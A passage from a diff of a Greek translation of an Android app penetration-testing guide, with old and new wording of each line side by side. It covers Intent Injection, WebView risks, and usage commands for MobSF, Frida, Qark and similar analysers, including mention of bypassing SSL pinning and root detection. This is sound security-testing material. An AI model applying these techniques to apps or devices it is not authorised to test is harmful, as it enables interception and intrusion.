Τα στιγμιότυπα συνήθως αποθηκεύονται στη διαδρομή: **`/data/system_ce/0/snapshots`**
|
||||
Τα στιγμιότυπα αποθηκεύονται συνήθως εδώ: **`/data/system_ce/0/snapshots`**
|
||||
|
||||
Android παρέχει τρόπο για να **αποτραπεί η λήψη στιγμιότυπου οθόνης ρυθμίζοντας την παράμετρο layout FLAG_SECURE**. Χρησιμοποιώντας αυτή τη σημαία, τα περιεχόμενα του παραθύρου θεωρούνται ασφαλή, αποτρέποντας να εμφανίζονται σε στιγμιότυπα οθόνης ή να προβάλλονται σε μη ασφαλείς οθόνες.
|
||||
Το Android παρέχει έναν τρόπο για να **αποτρέψετε τη λήψη στιγμιότυπου οθόνης ορίζοντας την παράμετρο διάταξης FLAG_SECURE**. Χρησιμοποιώντας αυτή τη σημαία, τα περιεχόμενα του παραθύρου θεωρούνται ασφαλή, αποτρέποντας την εμφάνισή τους σε στιγμιότυπα οθόνης ή την προβολή τους σε μη-ασφαλείς οθόνες.
|
||||
```bash
|
||||
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
||||
```
|
||||
### **Android Application Analyzer**
|
||||
### **Αναλυτής Εφαρμογών Android**
|
||||
|
||||
Αυτό το εργαλείο μπορεί να σας βοηθήσει στη διαχείριση διαφορετικών εργαλείων κατά τη διάρκεια της δυναμικής ανάλυσης: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
|
||||
Αυτό το εργαλείο μπορεί να σας βοηθήσει στη διαχείριση διαφόρων εργαλείων κατά τη δυναμική ανάλυση: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
|
||||
|
||||
### Intent Injection
|
||||
|
||||
Οι προγραμματιστές συχνά δημιουργούν proxy components όπως activities, services και broadcast receivers που χειρίζονται αυτά τα Intents και τα μεταβιβάζουν σε μεθόδους όπως `startActivity(...)` ή `sendBroadcast(...)`, κάτι που μπορεί να είναι επικίνδυνο.
|
||||
Οι προγραμματιστές συχνά δημιουργούν proxy components όπως activities, services και broadcast receivers που χειρίζονται αυτά τα Intents και τα προωθούν σε μεθόδους όπως `startActivity(...)` ή `sendBroadcast(...)`, κάτι που μπορεί να είναι επικίνδυνο.
|
||||
|
||||
Ο κίνδυνος έγκειται στο να επιτρέπεται σε επιτιθέμενους να ενεργοποιήσουν μη-exported components της εφαρμογής ή να αποκτήσουν πρόσβαση σε ευαίσθητους content providers με την παραπλάνηση αυτών των Intents. Ένα χαρακτηριστικό παράδειγμα είναι το `WebView` component που μετατρέπει URLs σε `Intent` αντικείμενα μέσω `Intent.parseUri(...)` και στη συνέχεια τα εκτελεί, γεγονός που μπορεί να οδηγήσει σε malicious Intent injections.
|
||||
Ο κίνδυνος έγκειται στο ότι επιτρέπει σε επιτιθέμενους να ενεργοποιήσουν μη-exported components της εφαρμογής ή να αποκτήσουν πρόσβαση σε ευαίσθητους content providers κατευθύνοντας λανθασμένα αυτά τα Intents. Ένα αξιοσημείωτο παράδειγμα είναι το `WebView` component που μετατρέπει URLs σε `Intent` αντικείμενα μέσω `Intent.parseUri(...)` και στη συνέχεια τα εκτελεί, ενδεχομένως οδηγώντας σε κακόβουλες Intent injections.
|
||||
|
||||
### Essential Takeaways
|
||||
### Βασικά Σημεία
|
||||
|
||||
- **Intent Injection** είναι παρόμοιο με το Open Redirect στο web.
|
||||
- Οι εκμεταλλεύσεις περιλαμβάνουν τη μεταβίβαση `Intent` αντικειμένων ως extras, τα οποία μπορούν να αναδρομολογηθούν για να εκτελέσουν μη ασφαλείς ενέργειες.
|
||||
- **Intent Injection** μοιάζει με το Open Redirect στο web.
|
||||
- Εκμεταλλεύσεις περιλαμβάνουν τη μεταβίβαση `Intent` αντικειμένων ως extras, τα οποία μπορούν να αναδρομολογηθούν για την εκτέλεση μη ασφαλών ενεργειών.
|
||||
- Μπορεί να εκθέσει μη-exported components και content providers σε επιτιθέμενους.
|
||||
- Η μετατροπή URL σε `Intent` από το `WebView` μπορεί να διευκολύνει ανεπιθύμητες ενέργειες.
|
||||
- Η μετατροπή URL → `Intent` από το `WebView` μπορεί να διευκολύνει ανεπιθύμητες ενέργειες.
|
||||
|
||||
### Android Client Side Injections and others
|
||||
|
||||
Πιθανόν να γνωρίζετε αυτού του είδους τις ευπάθειες από το Web. Θα πρέπει να είστε ιδιαίτερα προσεκτικοί με αυτές τις ευπάθειες σε μια εφαρμογή Android:
|
||||
Πιθανόν να γνωρίζετε αυτό το είδος ευπαθειών από το Web. Πρέπει να είστε ιδιαίτερα προσεκτικοί με αυτές τις ευπάθειες σε μια εφαρμογή Android:
|
||||
|
||||
- **SQL Injection:** Όταν χειρίζεστε δυναμικά queries ή Content-Providers βεβαιωθείτε ότι χρησιμοποιείτε parameterized queries.
|
||||
- **JavaScript Injection (XSS):** Ελέγξτε ότι η υποστήριξη JavaScript και Plugin είναι απενεργοποιημένη για οποιαδήποτε WebViews (απενεργοποιημένη από προεπιλογή). [More info here](webview-attacks.md#javascript-enabled).
|
||||
- **JavaScript Injection (XSS):** Επιβεβαιώστε ότι η υποστήριξη JavaScript και Plugin είναι απενεργοποιημένη για οποιαδήποτε WebViews (απενεργοποιημένη από προεπιλογή). [More info here](webview-attacks.md#javascript-enabled).
|
||||
- **Local File Inclusion:** Οι WebViews θα πρέπει να έχουν απενεργοποιημένη την πρόσβαση στο file system (ενεργοποιημένη από προεπιλογή) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled).
|
||||
- **Eternal cookies**: Σε αρκετές περιπτώσεις όταν η εφαρμογή Android τελειώνει τη συνεδρία, το cookie δεν ανακαλείται ή μπορεί ακόμη και να αποθηκευτεί στο δίσκο.
|
||||
- **Μόνιμα cookies**: Σε αρκετές περιπτώσεις όταν η εφαρμογή Android τερματίζει τη συνεδρία, το cookie δεν ανακαλείται ή μπορεί ακόμη να αποθηκευτεί στο δίσκο.
|
||||
- [**Secure Flag** in cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
|
||||
|
||||
---
|
||||
|
||||
## Automatic Analysis
|
||||
## Αυτόματη Ανάλυση
|
||||
|
||||
### [MobSF](https://github.com/MobSF/Mobile-Security-Framework-MobSF)
|
||||
|
||||
@ -606,51 +610,51 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
||||
|
||||
.png>)
|
||||
|
||||
**Αξιολόγηση ευπαθειών της εφαρμογής** χρησιμοποιώντας ένα ευχάριστο web-based frontend. Μπορείτε επίσης να εκτελέσετε δυναμική ανάλυση (αλλά χρειάζεται να προετοιμάσετε το περιβάλλον).
|
||||
**Αξιολόγηση ευπαθειών της εφαρμογής** χρησιμοποιώντας ένα ευχάριστο web-based frontend. Μπορείτε επίσης να εκτελέσετε δυναμική ανάλυση (αλλά πρέπει να προετοιμάσετε το περιβάλλον).
|
||||
```bash
|
||||
docker pull opensecurity/mobile-security-framework-mobsf
|
||||
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
|
||||
```
|
||||
Σημειώστε ότι το MobSF μπορεί να αναλύσει **Android**(apk)**, IOS**(ipa) **and Windows**(apx) εφαρμογές (_Windows applications must be analyzed from a MobSF installed in a Windows host_).\
|
||||
Επίσης, αν δημιουργήσετε ένα **ZIP** αρχείο με τον πηγαίο κώδικα μιας **Android** ή μιας **IOS** εφαρμογής (πηγαίνετε στον root φάκελο της εφαρμογής, επιλέξτε τα πάντα και δημιουργήστε ένα ZIPfile), θα μπορεί επίσης να το αναλύσει.
|
||||
Επίσης, αν δημιουργήσετε ένα **ZIP** αρχείο με τον πηγαίο κώδικα μιας **Android** ή μιας **IOS** app (πηγαίνετε στον root folder της εφαρμογής, επιλέξτε τα πάντα και δημιουργήστε ένα ZIPfile), θα μπορέσει επίσης να το αναλύσει.
|
||||
|
||||
MobSF επίσης σας επιτρέπει να κάνετε **diff/Compare** των αναλύσεων και να ενσωματώσετε το **VirusTotal** (θα χρειαστεί να ορίσετε το API key σας στο _MobSF/settings.py_ και να το ενεργοποιήσετε: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`). Μπορείτε επίσης να θέσετε `VT_UPLOAD` σε `False`, τότε το **hash** θα γίνει **upload** αντί για το αρχείο.
|
||||
Το MobSF σας επιτρέπει επίσης να κάνετε **diff/Compare** αναλύσεις και να ενσωματώσετε το **VirusTotal** (θα χρειαστεί να ορίσετε το API key σας στο _MobSF/settings.py_ και να το ενεργοποιήσετε: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`). Μπορείτε επίσης να ορίσετε `VT_UPLOAD` σε `False`, οπότε το **hash** θα γίνει **upload** αντί για το αρχείο.
|
||||
|
||||
### Βοηθούμενη δυναμική ανάλυση με MobSF
|
||||
|
||||
Το **MobSF** μπορεί επίσης να είναι πολύ χρήσιμο για **dynamic analysis** σε **Android**, αλλά σε αυτή την περίπτωση θα χρειαστεί να εγκαταστήσετε το MobSF και το **genymotion** στον host σας (μία VM ή Docker δεν θα λειτουργήσει). _Σημείωση: Πρέπει πρώτα να **ξεκινήσετε μια VM στο genymotion** και μετά να **ξεκινήσετε το MobSF**._\
|
||||
Το **MobSF** μπορεί επίσης να είναι πολύ χρήσιμο για **dynamic analysis** σε **Android**, αλλά σε αυτή την περίπτωση θα χρειαστεί να εγκαταστήσετε το MobSF και το **genymotion** στο host σας (ένα VM ή Docker δεν θα δουλέψει). _Note: You need to **start first a VM in genymotion** and **then MobSF.**_\
|
||||
Ο **MobSF dynamic analyser** μπορεί:
|
||||
|
||||
- **Dump application data** (URLs, logs, clipboard, screenshots made by you, screenshots made by "**Exported Activity Tester**", emails, SQLite databases, XML files, και άλλα δημιουργημένα αρχεία). Όλα αυτά γίνονται αυτόματα εκτός από τα screenshots — πρέπει να πατήσετε όταν θέλετε ένα screenshot ή να πατήσετε "**Exported Activity Tester**" για να λάβετε screenshots όλων των exported activities.
|
||||
- Καταγραφή **HTTPS traffic**
|
||||
- Χρήση του **Frida** για απόκτηση **runtime information**
|
||||
- **Dump application data** (URLs, logs, clipboard, screenshots made by you, screenshots made by "**Exported Activity Tester**", emails, SQLite databases, XML files, and other created files). Όλα αυτά γίνονται αυτόματα εκτός από τα screenshots — πρέπει να πατήσετε όταν θέλετε ένα screenshot ή να πατήσετε "**Exported Activity Tester**" για να λάβετε screenshots όλων των exported activities.
|
||||
- Capture **HTTPS traffic**
|
||||
- Χρησιμοποιεί **Frida** για να αποκτήσει **runtime** **information**
|
||||
|
||||
Από Android **versions > 5**, θα **automatically start Frida** και θα ορίσει global **proxy** ρυθμίσεις για να **capture** traffic. Θα καταγράφει μόνο την κίνηση από την εφαρμογή που δοκιμάζεται.
|
||||
Από android **versions > 5**, θα **automatically start Frida** και θα ρυθμίσει τις global **proxy** ρυθμίσεις για να **capture** την κίνηση. Θα καταγράφει μόνο την κίνηση από την εφαρμογή υπό δοκιμή.
|
||||
|
||||
**Frida**
|
||||
|
||||
Κατά προεπιλογή, θα χρησιμοποιήσει επίσης κάποια Frida scripts για να **bypass SSL pinning**, **root detection** και **debugger detection** και για να **monitor interesting APIs**.\
|
||||
Το MobSF μπορεί επίσης να **invoke exported activities**, να τραβήξει **screenshots** αυτών και να τα **save** στην αναφορά.
|
||||
Εξ ορισμού, θα χρησιμοποιήσει επίσης κάποια Frida Scripts για να **bypass SSL pinning**, **root detection** και **debugger detection** και για να **monitor interesting APIs**.\
|
||||
Το MobSF μπορεί επίσης να **invoke exported activities**, να τραβήξει **screenshots** αυτών και να τα **save** για την αναφορά.
|
||||
|
||||
Για να **start** το dynamic testing πατήστε το πράσινο κουμπί: "**Start Instrumentation**". Πατήστε το "**Frida Live Logs**" για να δείτε τα logs που παράγονται από τα Frida scripts και το "**Live API Monitor**" για να δείτε όλες τις invocations σε hooked methods, τα arguments που περνάνε και τις επιστρεφόμενες τιμές (αυτό θα εμφανιστεί μετά το πάτημα του "Start Instrumentation").\
|
||||
Το MobSF επίσης σας επιτρέπει να φορτώσετε τα δικά σας **Frida scripts** (για να στείλετε τα αποτελέσματα των Frida scripts στο MobSF χρησιμοποιήστε τη συνάρτηση `send()`). Έχει επίσης **πολλά προεγγεγραμμένα scripts** που μπορείτε να φορτώσετε (μπορείτε να προσθέσετε περισσότερα στο `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), απλά **επιλέξτε τα**, πατήστε "**Load**" και πατήστε "**Start Instrumentation**" (θα μπορείτε να δείτε τα logs αυτών των scripts μέσα στα "**Frida Live Logs**").
|
||||
Για να **start** το dynamic testing πατήστε το πράσινο κουμπί: "**Start Instrumentation**". Πατήστε το "**Frida Live Logs**" για να δείτε τα logs που παράγουν τα Frida scripts και το "**Live API Monitor**" για να δείτε όλες τις invocations σε hooked methods, τα arguments που περνάνε και τις επιστρεφόμενες τιμές (αυτό θα εμφανιστεί αφού πατήσετε "Start Instrumentation").\
|
||||
Το MobSF σας επιτρέπει επίσης να φορτώσετε δικά σας **Frida scripts** (για να στείλετε τα αποτελέσματα των Frida scripts στο MobSF χρησιμοποιήστε τη συνάρτηση `send()`). Έχει επίσης **αρκετά προ-γραμμένα scripts** που μπορείτε να φορτώσετε (μπορείτε να προσθέσετε περισσότερα στο `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), απλά **επιλέξτε τα**, πατήστε "**Load**" και πατήστε "**Start Instrumentation**" (θα μπορείτε να δείτε τα logs αυτών των scripts μέσα στο "**Frida Live Logs**").
|
||||
|
||||
.png>)
|
||||
|
||||
Επιπλέον, έχετε μερικές βοηθητικές λειτουργίες Frida:
|
||||
|
||||
- **Enumerate Loaded Classes**: Θα εμφανίσει όλες τις loaded classes
|
||||
- **Capture Strings**: Θα εμφανίζει όλες τις captured strings κατά τη χρήση της εφαρμογής (πολύ θορυβώδες)
|
||||
- **Capture String Comparisons**: Μπορεί να είναι πολύ χρήσιμο. Θα δείξει τις 2 strings που συγκρίνονται και αν το αποτέλεσμα ήταν True ή False.
|
||||
- **Capture Strings**: Θα εμφανίσει όλα τα capture strings ενώ χρησιμοποιείτε την εφαρμογή (πολύ noisy)
|
||||
- **Capture String Comparisons**: Μπορεί να είναι πολύ χρήσιμο. Θα **δείξει τις 2 strings που συγκρίνονται** και αν το αποτέλεσμα ήταν True ή False.
|
||||
- **Enumerate Class Methods**: Βάλτε το όνομα της κλάσης (π.χ. "java.io.File") και θα εμφανίσει όλες τις μεθόδους της κλάσης.
|
||||
- **Search Class Pattern**: Αναζήτηση κλάσεων με pattern
|
||||
- **Trace Class Methods**: **Trace** ολόκληρης της κλάσης (δείτε inputs και outputs όλων των μεθόδων της κλάσης). Θυμηθείτε ότι από προεπιλογή το MobSF κάνει trace αρκετές ενδιαφέρουσες Android Api methods.
|
||||
- **Trace Class Methods**: **Trace** ολόκληρη μια **class** (δείτε inputs και outputs όλων των μεθόδων της κλάσης). Θυμηθείτε ότι εξ ορισμού το MobSF traces αρκετές ενδιαφέρουσες Android Api methods.
|
||||
|
||||
Μόλις επιλέξετε το auxiliary module που θέλετε να χρησιμοποιήσετε, πρέπει να πατήσετε "**Start Intrumentation**" και θα δείτε όλες τις εξόδους στα "**Frida Live Logs**".
|
||||
Αφού επιλέξετε το auxiliary module που θέλετε να χρησιμοποιήσετε, πρέπει να πατήσετε "**Start Instrumentation**" και θα δείτε όλα τα outputs στο "**Frida Live Logs**".
|
||||
|
||||
**Shell**
|
||||
|
||||
Το MobSF παρέχει επίσης ένα shell με μερικές εντολές **adb**, **MobSF commands**, και κοινές **shell commands** στο κάτω μέρος της σελίδας δυναμικής ανάλυσης. Μερικές ενδιαφέρουσες εντολές:
|
||||
Το MobSF παρέχει επίσης ένα shell με κάποιες εντολές **adb**, **MobSF commands**, και κοινές εντολές **shell** στο κάτω μέρος της σελίδας dynamic analysis. Μερικές ενδιαφέρουσες εντολές:
|
||||
```bash
|
||||
help
|
||||
shell ls
|
||||
@ -659,34 +663,34 @@ exported_activities
|
||||
services
|
||||
receivers
|
||||
```
|
||||
**HTTP εργαλεία**
|
||||
**Εργαλεία HTTP**
|
||||
|
||||
Όταν η κίνηση http καταγράφεται μπορείτε να δείτε μια άσχημη προβολή της καταγεγραμμένης κίνησης στο κουμπί "**HTTP(S) Traffic**" ή μια πιο ωραία προβολή στο πράσινο κουμπί "**Start HTTPTools**". Από τη δεύτερη επιλογή, μπορείτε να **στείλετε** τα **καταγεγραμμένα requests** σε **proxies** όπως Burp ή Owasp ZAP.\
|
||||
Για να το κάνετε, _power on Burp -->_ _turn off Intercept --> in MobSB HTTPTools select the request_ --> πατήστε "**Send to Fuzzer**" --> _επιλέξτε τη διεύθυνση του proxy_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
|
||||
Όταν η http κίνηση καταγράφεται μπορείτε να δείτε μια άσχημη προβολή της καταγεγραμμένης κίνησης στο κάτω μέρος στο κουμπί "**HTTP(S) Traffic**" ή μια πιο καθαρή προβολή στο πράσινο κουμπί "**Start HTTPTools**". Από τη δεύτερη επιλογή, μπορείτε να **στέλνετε** τα **captured requests** σε **proxies** όπως Burp ή Owasp ZAP.\
|
||||
Για να το κάνετε, _power on Burp -->_ _turn off Intercept --> in MobSB HTTPTools select the request_ --> πατήστε "**Send to Fuzzer**" --> _select the proxy address_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
|
||||
|
||||
Μόλις ολοκληρώσετε τη δυναμική ανάλυση με MobSF μπορείτε να πατήσετε "**Start Web API Fuzzer**" για να **fuzz http requests** και να αναζητήσετε ευπάθειες.
|
||||
Μόλις ολοκληρώσετε το dynamic analysis με MobSF μπορείτε να πατήσετε "**Start Web API Fuzzer**" για να **fuzz http requests** και να αναζητήσετε ευπάθειες.
|
||||
|
||||
> [!TIP]
|
||||
> Μετά την εκτέλεση δυναμικής ανάλυσης με MobSF οι ρυθμίσεις proxy μπορεί να είναι λανθασμένες και να μην μπορείτε να τις διορθώσετε από το GUI. Μπορείτε να διορθώσετε τις ρυθμίσεις proxy κάνοντας:
|
||||
> Μετά από dynamic analysis με MobSF οι ρυθμίσεις proxy ίσως έχουν διαμορφωθεί λανθασμένα και δεν θα μπορείτε να τις διορθώσετε από το GUI. Μπορείτε να διορθώσετε τις ρυθμίσεις proxy εκτελώντας:
|
||||
>
|
||||
> ```
|
||||
> adb shell settings put global http_proxy :0
|
||||
> ```
|
||||
|
||||
### Βοηθημένη δυναμική ανάλυση με Inspeckage
|
||||
### Βοηθημένη Dynamic Analysis με Inspeckage
|
||||
|
||||
Μπορείτε να αποκτήσετε το εργαλείο από [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\
|
||||
Αυτό το εργαλείο θα χρησιμοποιήσει μερικά **Hooks** για να σας δείξει **τι συμβαίνει στην εφαρμογή** ενώ εκτελείτε μια **δυναμική ανάλυση**.
|
||||
Αυτό το εργαλείο θα χρησιμοποιήσει μερικά **Hooks** για να σας ενημερώνει **what is happening in the application** ενώ εκτελείτε **dynamic analysis**.
|
||||
|
||||
### [Yaazhini](https://www.vegabird.com/yaazhini/)
|
||||
|
||||
Αυτό είναι ένα **εξαιρετικό εργαλείο για εκτέλεση στατικής ανάλυσης με GUI**
|
||||
Αυτό είναι ένα **great tool to perform static analysis with a GUI**
|
||||
|
||||
.png>)
|
||||
|
||||
### [Qark](https://github.com/linkedin/qark)
|
||||
|
||||
Αυτό το εργαλείο έχει σχεδιαστεί για να αναζητά διάφορες **ευπάθειες σε Android εφαρμογές που σχετίζονται με την ασφάλεια**, είτε στον **πηγαίο κώδικα** είτε σε **packaged APKs**. Το εργαλείο είναι επίσης **ικανό να δημιουργήσει ένα "Proof-of-Concept" deployable APK** και **ADB commands**, για να εκμεταλλευτεί κάποιες από τις βρεθείσες ευπάθειες (Exposed activities, intents, tapjacking...). Όπως και με το Drozer, δεν υπάρχει ανάγκη να κάνετε root στη συσκευή δοκιμών.
|
||||
Αυτό το εργαλείο έχει σχεδιαστεί για να αναζητά διάφορες **security related Android application vulnerabilities**, είτε στο **source code** είτε σε **packaged APKs**. Το εργαλείο είναι επίσης **capable of creating a "Proof-of-Concept" deployable APK** και **ADB commands**, για να εκμεταλλευτεί μερικές από τις ευπάθειες που βρέθηκαν (Exposed activities, intents, tapjacking...). Όπως και με Drozer, δεν υπάρχει ανάγκη να κάνετε root στη συσκευή δοκιμών.
|
||||
```bash
|
||||
pip3 install --user qark # --user is only needed if not using a virtualenv
|
||||
qark --apk path/to/my.apk
|
||||
@ -696,7 +700,7 @@ qark --java path/to/specific/java/file.java
|
||||
### [**ReverseAPK**](https://github.com/1N3/ReverseAPK.git)
|
||||
|
||||
- Εμφανίζει όλα τα εξαγόμενα αρχεία για εύκολη αναφορά
|
||||
- Κάνει αυτόματα decompile αρχεία APK σε μορφή Java και Smali
|
||||
- Κάνει αυτόματα decompile των APK αρχείων σε μορφή Java και Smali
|
||||
- Αναλύει το AndroidManifest.xml για κοινές ευπάθειες και συμπεριφορά
|
||||
- Στατική ανάλυση πηγαίου κώδικα για κοινές ευπάθειες και συμπεριφορά
|
||||
- Πληροφορίες συσκευής
|
||||
@ -706,11 +710,11 @@ reverse-apk relative/path/to/APP.apk
|
||||
```
|
||||
### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super)
|
||||
|
||||
Το SUPER είναι μια εφαρμογή γραμμής εντολών που μπορεί να χρησιμοποιηθεί σε Windows, MacOS X και Linux και αναλύει _.apk_ αρχεία αναζητώντας ευπάθειες. Το κάνει αποσυμπιέζοντας τα APKs και εφαρμόζοντας μια σειρά κανόνων για να εντοπίσει αυτές τις ευπάθειες.
|
||||
SUPER είναι μια εφαρμογή γραμμής εντολών που μπορεί να χρησιμοποιηθεί σε Windows, MacOS X και Linux, η οποία αναλύει _.apk_ αρχεία ψάχνοντας για ευπάθειες. Το κάνει αυτό αποσυμπιέζοντας τα APKs και εφαρμόζοντας μια σειρά κανόνων για να εντοπίσει αυτές τις ευπάθειες.
|
||||
|
||||
Όλοι οι κανόνες βρίσκονται σε ένα αρχείο `rules.json`, και κάθε εταιρεία ή tester μπορεί να δημιουργήσει τους δικούς της κανόνες για να αναλύσει ό,τι χρειάζεται.
|
||||
Όλοι οι κανόνες είναι συγκεντρωμένοι σε ένα αρχείο `rules.json`, και κάθε εταιρεία ή tester μπορεί να δημιουργήσει τους δικούς του κανόνες για να αναλύσει ό,τι χρειάζεται.
|
||||
|
||||
Κατεβάστε τα τελευταία binaries από τη [download page](https://superanalyzer.rocks/download.html)
|
||||
Κατεβάστε τα πιο πρόσφατα binaries από τη [download page](https://superanalyzer.rocks/download.html)
|
||||
```
|
||||
super-analyzer {apk_file}
|
||||
```
|
||||
@ -718,11 +722,11 @@ super-analyzer {apk_file}
|
||||
|
||||
.png>)
|
||||
|
||||
StaCoAn είναι ένα εργαλείο **crossplatform** που βοηθά τους προγραμματιστές, bugbounty hunters και ethical hackers να πραγματοποιούν [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) σε εφαρμογές για κινητά.
|
||||
Το StaCoAn είναι ένα **crossplatform** εργαλείο που βοηθά προγραμματιστές, bugbounty hunters και ethical hackers να πραγματοποιούν [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) σε εφαρμογές για κινητά.
|
||||
|
||||
Η ιδέα είναι ότι σύρετε και αποθέτετε το αρχείο της εφαρμογής σας (ένα .apk ή .ipa αρχείο) στην εφαρμογή StaCoAn και αυτή θα δημιουργήσει μια οπτική και φορητή αναφορά για εσάς. Μπορείτε να τροποποιήσετε τις ρυθμίσεις και τα wordlists για να αποκτήσετε μια προσαρμοσμένη εμπειρία.
|
||||
Η ιδέα είναι ότι σύρετε και αποθέτετε το αρχείο της εφαρμογής για κινητά σας (ένα .apk ή .ipa αρχείο) στην εφαρμογή StaCoAn και αυτή θα δημιουργήσει μια οπτική και φορητή αναφορά για εσάς. Μπορείτε να προσαρμόσετε τις ρυθμίσεις και τα wordlists για να έχετε μια εξατομικευμένη εμπειρία.
|
||||
|
||||
Κατεβάστε[ latest release](https://github.com/vincentcox/StaCoAn/releases):
|
||||
Κατέβασμα[ latest release](https://github.com/vincentcox/StaCoAn/releases):
|
||||
```
|
||||
./stacoan
|
||||
```
|
||||
@ -736,11 +740,11 @@ androbugs.exe -f [APK file]
|
||||
```
|
||||
### [Androwarn](https://github.com/maaaaz/androwarn)
|
||||
|
||||
**Androwarn** είναι ένα εργαλείο του οποίου ο κύριος σκοπός είναι να ανιχνεύει και να ειδοποιεί τον χρήστη για πιθανές κακόβουλες συμπεριφορές που αναπτύσσονται από μια εφαρμογή Android.
|
||||
**Androwarn** είναι ένα εργαλείο του οποίου ο κύριος στόχος είναι να εντοπίζει και να προειδοποιεί τον χρήστη για πιθανές κακόβουλες συμπεριφορές που αναπτύσσονται από μια εφαρμογή Android.
|
||||
|
||||
Η ανίχνευση πραγματοποιείται μέσω της **static analysis** του Dalvik bytecode της εφαρμογής, που αντιπροσωπεύεται ως **Smali**, με τη βιβλιοθήκη [`androguard`](https://github.com/androguard/androguard).
|
||||
Η ανίχνευση γίνεται με την **static analysis** του Dalvik bytecode της εφαρμογής, που αναπαρίσταται ως **Smali**, χρησιμοποιώντας τη βιβλιοθήκη [`androguard`](https://github.com/androguard/androguard).
|
||||
|
||||
Αυτό το εργαλείο αναζητά **common behavior of "bad" applications** όπως: Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution...
|
||||
Αυτό το εργαλείο εντοπίζει **συνηθισμένες συμπεριφορές "κακόβουλων" εφαρμογών** όπως: Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution...
|
||||
```
|
||||
python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
||||
```
|
||||
@ -748,41 +752,41 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
||||
|
||||
.png>)
|
||||
|
||||
**MARA** is a **M**obile **A**pplication **R**everse engineering and **A**nalysis Framework. Είναι ένα εργαλείο που συγκεντρώνει κοινώς χρησιμοποιούμενα εργαλεία mobile application reverse engineering και analysis, για να βοηθήσει στο testing κινητών εφαρμογών έναντι των OWASP mobile security threats. Στόχος του είναι να κάνει αυτή τη δουλειά πιο εύκολη και φιλική για τους mobile application developers και security professionals.
|
||||
**MARA** είναι ένα **M**obile **A**pplication **R**everse engineering and **A**nalysis Framework. Είναι ένα εργαλείο που συγκεντρώνει συνήθως χρησιμοποιούμενα εργαλεία mobile application reverse engineering και analysis, για να βοηθά στο testing εφαρμογών κινητών απέναντι στις OWASP mobile security threats. Στόχος του είναι να κάνει αυτή την εργασία πιο εύκολη και πιο φιλική προς τους developers εφαρμογών κινητών και τους επαγγελματίες ασφάλειας.
|
||||
|
||||
It is able to:
|
||||
|
||||
- Εξάγει Java και Smali code χρησιμοποιώντας διάφορα εργαλεία
|
||||
- Αναλύει APKs using: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
|
||||
- Εξάγει private information από το APK χρησιμοποιώντας regexps.
|
||||
- Εξάγει ιδιωτικές πληροφορίες από το APK χρησιμοποιώντας regexps.
|
||||
- Αναλύει το Manifest.
|
||||
- Αναλύει τα βρεθέντα domains using: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) and [whatweb](https://github.com/urbanadventurer/WhatWeb)
|
||||
- Αναλύει τα domains που βρέθηκαν χρησιμοποιώντας: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) and [whatweb](https://github.com/urbanadventurer/WhatWeb)
|
||||
- Deobfuscate APK via [apk-deguard.com](http://www.apk-deguard.com)
|
||||
|
||||
### Koodous
|
||||
|
||||
Χρήσιμο για ανίχνευση malware: [https://koodous.com/](https://koodous.com/)
|
||||
Χρήσιμο για την ανίχνευση malware: [https://koodous.com/](https://koodous.com/)
|
||||
|
||||
## Obfuscating/Deobfuscating code
|
||||
|
||||
Σημειώστε ότι ανάλογα με την υπηρεσία και τη ρύθμιση που χρησιμοποιείτε για να obfuscate τον code, τα secrets μπορεί ή να μην καταλήξουν obfuscated.
|
||||
Σημειώστε ότι, ανάλογα με την υπηρεσία και τη διαμόρφωση που χρησιμοποιείτε για να obfuscate τον code, τα secrets μπορεί να είναι ή να μην είναι obfuscated.
|
||||
|
||||
### [ProGuard](<https://en.wikipedia.org/wiki/ProGuard_(software)>)
|
||||
|
||||
From [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** is an open source command-line tool that shrinks, optimizes and obfuscates Java code. Είναι ικανό να βελτιστοποιεί το bytecode καθώς και να εντοπίζει και να αφαιρεί μη χρησιμοποιούμενες εντολές. Το ProGuard είναι free software και διανέμεται υπό τη GNU General Public License, version 2.
|
||||
From [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** είναι ένα open source command-line εργαλείο που συρρικνώνει, βελτιστοποιεί και obfuscates Java code. Μπορεί να βελτιστοποιήσει bytecode καθώς και να εντοπίσει και να αφαιρέσει μη χρησιμοποιούμενες εντολές. Το ProGuard είναι ελεύθερο λογισμικό και διανέμεται υπό την GNU General Public License, έκδοση 2.
|
||||
|
||||
Το ProGuard διανέμεται ως μέρος του Android SDK και τρέχει όταν γίνεται build της εφαρμογής σε release mode.
|
||||
Το ProGuard διανέμεται ως μέρος του Android SDK και τρέχει κατά τη διάρκεια της κατασκευής της εφαρμογής σε release mode.
|
